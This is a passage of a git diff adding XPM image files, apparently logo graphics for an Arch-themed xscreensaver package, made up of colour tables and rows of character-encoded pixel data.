***'!!!''''''''&...@########################################$%===,!!!'''';=============================='!!!''''=====@++++++++++++++++............................$''''''''!!!'*** ", +" ***'!!!''''''''&...@@######################################%=====,!!!'''';=============================='!!!''';======%+++++++++++++++++..........................$''''''''!!!'*** ", +" ***'!!!''''''''&...@@@@@##################################$======,!!!'''';=============================='!!!';;;=======@+++++++++++++++++.........................$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@###############################%======,'''''''),,,,,,,,,,,,,,,,,,,,,,,,=,===,)!!!';;;=======%+++++++++++++++++++.......................$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@##############################====>>>>'''''''),,,,,,,,,,,,,,,,,,,,,,,,>>>>>>,!!!;;;;>>>>====+++++++++++++++++++++.....................$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@############################===,>>>>)'''''',,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>''';;;)>>>>====@+++++++++++++++++++++....................$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@#########################===),>>>,)'''',,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>;;;;)>>>>>====@+++++++++++++++++++++++..................$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@#######################==,))))))))))))))))))))))))))))))))))))))))))))))))))),,,>====@++++++++++++++++++++++++.................$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@#######################==,)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)),====@++++++++++++++++++++++++++...............$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@####################==,)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))====@+++++++++++++++++++++++++++..............$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@@###################===)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))====@@+++++++++++++++++++++++++++.............$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@@@@#################====)))))))))))))))))))))))))))))))))))))))))))))),,,,))))====@@@@++++++++++++++++++++++++++............$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@@@@@@###############====))),>>>>>>,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>,)))====@@@@@@+++++++++++++++++++++++++...........$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@@@@@@@@@############====))),>>>>>>,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>,)))====@@@@@@@@++++++++++++++++++++++++..........$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@@@@@@@@@@###########====))),>>>>>>>,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,====@@@@@@@@@++++++++++++++++++++++++.........$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@@@@@@@@@@@##########====))),>>>>>>,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,====@@@@@@@@@@@+++++++++++++++++++++++........$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@########====))),>>>>>>>,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,====@@@@@@@@@@@@+++++++++++++++++++++++.......$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@######====))),>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,====@@@@@@@@@@@@@+++++++++++++++++++++++......$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#####====,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,====@@@@@@@@@@@@@@++++++++++++++++++++++......$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###====,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,====@@@@@@@@@@@@@@@++++++++++++++++++++++.....$''''''''!!!'*** ", +" ***'!!!''''''''&...+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##====,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,====@@@@@@@@@@@@@@@@++++++++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&...++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##====,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,====@@@@@@@@@@@@@@@@@+++++++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&...+++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@====,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,====@@@@@@@@@@@@@@@@@@++++++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&...+++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@====,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>====@@@@@@@@@@@@@@@@@@@+++++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&...+++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@====,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>====@@@@@@@@@@@@@@@@@@@+++++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&...++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@====,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>====@@@@@@@@@@@@@@@@@@@@++++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&...++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@====,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>====#@@@@@@@@@@@@@@@@@@@@+++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&...++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@====>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,====#@@@@@@@@@@@@@@@@@@@@+++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&...+++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@====>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>====#@@@@@@@@@@@@@@@@@@@@@++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....++++++++++++++++@@@@@@@@@@@@@@@@@@@@@@====>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>====#@@@@@@@@@@@@@@@@@@@@@++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....++++++++++++++++@@@@@@@@@@@@@@@@@@@@@@====>>>>>>>>>>>>>>,>>>,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>====#@@@@@@@@@@@@@@@@@@@@@++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@====>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>====#@@@@@@@@@@@@@@@@@@@@@@+++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@====>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>====#@@@@@@@@@@@@@@@@@@@@@@+++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@====>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>====@@@@@@@@@@@@@@@@@@@@@@@+++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@%====>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>=====@@@@@@@@@@@@@@@@@@@@@@@+++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@%============================================================%@@@@@@@@@@@@@@@@@@@@@@@+++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@%==========================================================%@@@@@@@@@@@@@@@@@@@@@@@@@++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@%========================================================%@@@@@@@@@@@@@@@@@@@@@@@@@@++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#@@@@@@@@@@@@@@@@@@@@@@@@@@@++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##################################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##################################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#################################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@################################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###############################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....+++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##############################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&....++++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@############################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@++++++++++++++++....$''''''''!!!'*** ", +" ***'!!!''''''''&..................................................................................................................................................$''''''''!!!'*** ", +" ***'!!!''''''''&..................................................................................................................................................$''''''''!!!'*** ", +" ***'!!!''''''''&..................................................................................................................................................$''''''''!!!'*** ", +" ***'!!!''''''''&..................................................................................................................................................$''''''''!!!'*** ", +" ***'!!!''''''''';;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;''''''''!!!'*** ", +" ***'!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***'!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***'!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***'!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***'!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***'!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***'!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***'!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***'!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***;!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***;!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!;*** ", +" ***-!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;*** ", +" ***!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!**** ", +" ***-!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'*** ", +" *****;'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!';**** ", +" ***************************---------------------------------------------------------------------------------------------------------------------------------------------****** ", +" **************************************************************************************************************************************************************************** ", +" ************************************************************************************************************************************************************************* ", +" ***********************&&&&&*********************************************************************&&&&****************************************** ", +" ####&*****************************************************************---*$$$$ ", +" ####&**************************************************------------------*$$$$ ", +" ####************************************----------------------------------$$$& ", +" ####*********************-------------------------------------------------$$$& ", +" $###******----------------------------------------------------------------$$&& ", +" $$$$------------------------------------------------------------------;;;;&&&& ", +" $$$&---------------------------------------------------;;;;;;;;;;;;;;;;;;;*&&& ", +" $$$*--------------------------------------;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-&&& ", +" &$$$------------------------;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&&&& ", +" $&&&---------;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;*&&& ", +" &&&&-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-**** ", +" &&&&&;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;'''''''''''''''''***** ", +" &&&&&-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;'''''''''''''''''''''''''''''''';***** ", +" &&&&&&-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;'''''''''''''''''''''''''''''''''''''''''''''-***** ", +" ********-''''''''''''';;;;'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''-******* ", +" **************;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''-************* ", +" **************-''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''';-************* ", +" *************-''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''';-************* ", +" *******----;;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''';;--********** ", +" *****-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;--***** ", +" ****-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-**** ", +" ****-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;'**** ", +" ****''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''';**** ", +" ***-!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-*** ", +" ***;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;*** ", +" ***;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;*** ", +" ****;'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!';**** ", +" ****;'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''';**** ", +" ****''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''**** ", +" ****''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''**** ", +" ****;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-**** ", +" **************************************************************************************************************************** ", +" **************************************************************************************************************************** ", +" **************************************************************************************************************************** ", +" ******************** ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango.xpm new file mode 100644 index 0000000..9233417 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_tango_xpm[] = { +"180 180 17 1", +" c None", +". c #000379", +"+ c #2A2C59", +"@ c #3D3F71", +"# c #403F82", +"$ c #50514F", +"% c #514F82", +"& c #5E5F81", +"* c #707089", +"= c #767874", +"- c #8E908B", +"; c #8F90B0", +"> c #AB9D43", +", c #B2B3B0", +"' c #D2D5CC", +") c #F4DD2E", +"! c #EEF0EC", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ------------------------------------------------------------------------------------------------------================================================ ", +" --------------------------------------------------------------------------------------------------------===================================================== ", +" --------------------------------------------------------------------------------------------------------======================================================== ", +" -------------------------------------------------------------------------------------------------------=========================================================== ", +" ------,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,-====== ", +" ----,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'===== ", +" -----!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!===== ", +" ----'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,==== ", +" ----!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'==== ", +" ----!!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!!==== ", +" ----!!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!!==== ", +" ----!!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!!==== ", +" ----!!!!!''''',;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''''''''!!!!!==== ", +" ----!!!!!'''''.................................................................................................................................&'''''''''''''!!!!!==== ", +" ---,!!!!!'''''..................................................................................................................................''''''''''''''!!!!==== ", +" ----,!!!!!'''''..+@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++...''''''''''''''!!!!-==== ", +" ----,!!!!''''''..+*;;;;***********************************************************************************************************************+..'''''',,,,''''!!!!-==== ", +" ----,!!!!''''',..+****************************************************************************************************************************+..'''''--,,,''''!!!!-==== ", +" ----,!!!!''''',..+****************************************************************************************************************************+..'''',--,,,,'''!!!!,==== ", +" ----'!!!!''''';..+****************************************************************************************************************************+..,''''---,,,'''!!!!,==== ", +" ----'!!!!''''';..+******************;*********************************************************************************************************+..,''''',,,,''''!!!!,==== ", +" ----'!!!!''''';..+******************;*********************************************************************************************************+..;'''''''''''''!!!!,==== ", +" ----'!!!!''''';..+******************;*********************************************************************************************************+..;'''''''''''''!!!!'==== ", +" ----'!!!!'''''%..+******************;;*********************************;**********************************************************************+..;'''''''''''''!!!!'==== ", +" ----!!!!!'''''%..+******************,;*********************************;*****************************************************************&&&&&+..&'''''''''''''!!!!'==== ", +" ----!!!!!'''''#..+******************,-*********************************,**********************************************************&&&&&&&&&&&&+..%'''''',,,''''!!!!'==== ", +" ----!!!!!'''''#..+***************=--',--*****************************=-'-=**************************************************&&&&&&&&&&&&&&&&&&+..%'''',--,,,'''!!!!'==== ", +" ----!!!!!'''''#..+**************---,''---=**************************=--',--*******************************************&&&&&&&&&&&&&&&&&&&&&&&&+..#''''---,,,'''!!!!!==== ", +" ----!!!!!'''''#.#+*************----'!'----=*************************-->!'>-=***********************************&****&&&&&&&&&&&&&&&&&&&&&&&&&&+..#'''',--,,,'''!!!!!==== ", +" ----!!!!!'''''..#@************=--->'!'>>---************************-,''!!',-**********************************&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&+..#''''',,,,,'''!!!!!==== ", +" ----!!!!!'''''..+@************=-->>'!!>>>--=*********************;;,'!!!!!',;;*************************&&&&**&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@#..''''''''''''''!!!!==== ", +" ----!!!!!'''''..+&************-,'''!!!!'',,-***********************=->>!'>-=****************&&&&******&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@#..''''''''''''''!!!!==== ", +" ---,!!!!!'''''..+&*******;;,,,''!!!!!!!!!''',,;;********************=->!'--******&&&&*********&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@+..''''''''''''''!!!!==== ", +" ----,!!!!!'''''..+&***********;-,'''!!!''',--*************************=-',-***********&&&&&&****&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@+..''''''''''''''!!!!===== ", +" ----,!!!!''''',..+&************=-->>'!!>>>--=***************************,*******&****&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*&&&&&&&&&&&&&&&&&&&&&&&&@+..''''',,,,,,'''!!!!-==== ", +" ----,!!!!''''',..+&************=--->'!!>>--=****************************;*****&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&=>*&&&&&&&&&&&&&&&&&&&&&&@+..,''',--,,,,'''!!!!-==== ", +" ----,!!!!''''';..+&*************=---,!'---=*****************************;&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*))=&&&&&&&&&&&&&&&&&@@++++..,''',---,,,'''!!!!-==== ", +" ----'!!!!''''';..+&**************=---''--=**&&*******&&&**********&&&&&&*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&)))>&&&&&&&&&&&&@+++++++++..;'''',--,,,'''!!!!,==== ", +" ----'!!!!''''';..+&****************==',==**&&&&&&&*****&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&>)))>&&&&&&&@+++++++++++++..;'''''',,'''''!!!!,==== ", +" ----'!!!!''''';..+&**************&&**,-**&&*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&>)))))=&@@++++++++++++++++..;'''''''''''''!!!!,==== ", +" ----'!!!!'''''%..+&********&&&&&&&&&&;;&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&=))))))$++++++++++++++++++..&'''''''''''''!!!!,===$ ", +" ----'!!!!'''''%..+&**&&***&&&&&&&&&&&;*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&)))))))$+++++++++++++++++..%'''''''''''''!!!!'==$$ ", +" ----'!!!!'''''%..+&&&&&&&&&&&&&&&&&&&;*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@+>)))))))$++++++++++++++++..%'''''',,,''''!!!!'$$$$ ", +" ----!!!!!'''''#..+&&&&&&&&&&&&&&&&&&&**&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%++++>))))))))++++++++++++++++..#'''',--,,,'''!!!!'$$$$ ", +" ----!!!!!'''''#..+&&&&&&&&&&&&&&&&&&&*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@++++++>))))))))>+++++++++++++++..#''''---,,,'''!!!!'$$$$ ", +" ----!!!!!'''''#.#+&&&&&&&&&&&&&&&&&&&*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@+++++++++$)))))))))>++++++++++++++#.#''''---,,,'''!!!!'$$$$ ", +" 